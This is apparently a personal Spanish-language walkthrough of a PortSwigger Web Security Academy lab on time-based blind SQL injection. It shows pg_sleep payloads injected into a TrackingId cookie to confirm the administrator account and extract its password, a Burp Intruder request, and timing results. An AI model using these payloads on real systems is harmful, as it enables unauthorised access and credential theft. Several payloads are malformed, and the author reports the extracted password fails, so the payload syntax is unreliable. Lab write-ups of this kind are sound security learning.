

12 Lab Blind SQL injection with time delays and information retrieval

Primero vamos a cerciorarnos que el TrackingID es vulnerable a SQLi con delays, para ello utilizaremos la siguiente sentencia:

```
``';SELECT CASE WHEN (1=1) THEN pg_sleep(10) else pg_sleep(0) END--
```

Gracias a esto vemos que se nos cumple la condición (ya que es TRUE), y nos devuelve la petición, pero con 10 segundos de delay.

Gracias a esto tenemos una clara vía de entrada para que se nos muestre información, así que vamos a probar la siguiente sentencia para ver si el usuario administrator existe:

```
``';SELECT CASE WHEN (username = 'administrator') THEN pg_sleep(10) else pg_sleep(0) END FROM users--
```

Vemos que obtenemos una respuesta con 10 segundos de delay, por lo que el usuario existe.

Ahora vamos a ver la longitud de la contraseña, para ello utilizamos:

```
``';SELECT CASE WHEN (username = 'administrator') AND LENGTH(password > 19) THEN pg_sleep(10) else pg_sleep(0) END FROM users--
```

Montamos el ataque en el Intruder:

```
``'+||(SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)%3d'a')+THEN+pg_sleep(5)+ELSE+pg_sleep(-1)+END+FROM+users)--
```

Payloads

Payload position: 2 - a

Payload type: Brute force

Payload count: 36

Request count: 720

Payload configuration

This payload type generates payloads of various lengths that contain all possible character sets.

Character set: abcdefghijklmno

Min length: 1

Max length: 1

Payload processing

You can define rules to perform actions on each payload before it is sent.

Start attack

Cluster bomb attack

Target

https://0a8900e504952b24817061d0002300be.web-security-academy.net

☒ Update Host header to match target

Positions

Add \$

Clear \$

Auto \$

```

1 GET / HTTP/2
2 Host: 0a8900e504952b24817061d0002300be.web-security-academy.net
3 Cookie: TrackingId=
    ZaLM4iz8TRBA3K8H'+|)+(SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,$1$,1))%3d'sas')
    ;)+THEN+pg_sleep(5))+ELSE+pg_sleep(-1)+END+FROM+users)--; session=La3J9rytFSLkwKKbyZw4I93ZjSkKQPT$
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Referer: https://portswigger.net/
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: cross-site
13 Sec-Fetch-User: ?1
14 Priority: u=0, i
15 Te: trailers
          
```

Y nos reporta la contraseña, pero no sé porque me pone que es incorrecta:

Request	Payload 1	Payload 2	Status code	Respo... ▼	Error	Timeout	Length	Comment
288	8	o	200	9092			11502	
658	18	6	200	7435			11502	
690	10	8	200	5408			11502	
685	5	8	200	5354			11502	
113	13	f	200	5094			11502	
522	2	0	200	5091			11502	
284	4	o	200	5059			11502	
297	17	o	200	5053			11502	
536	16	o	200	5050			11502	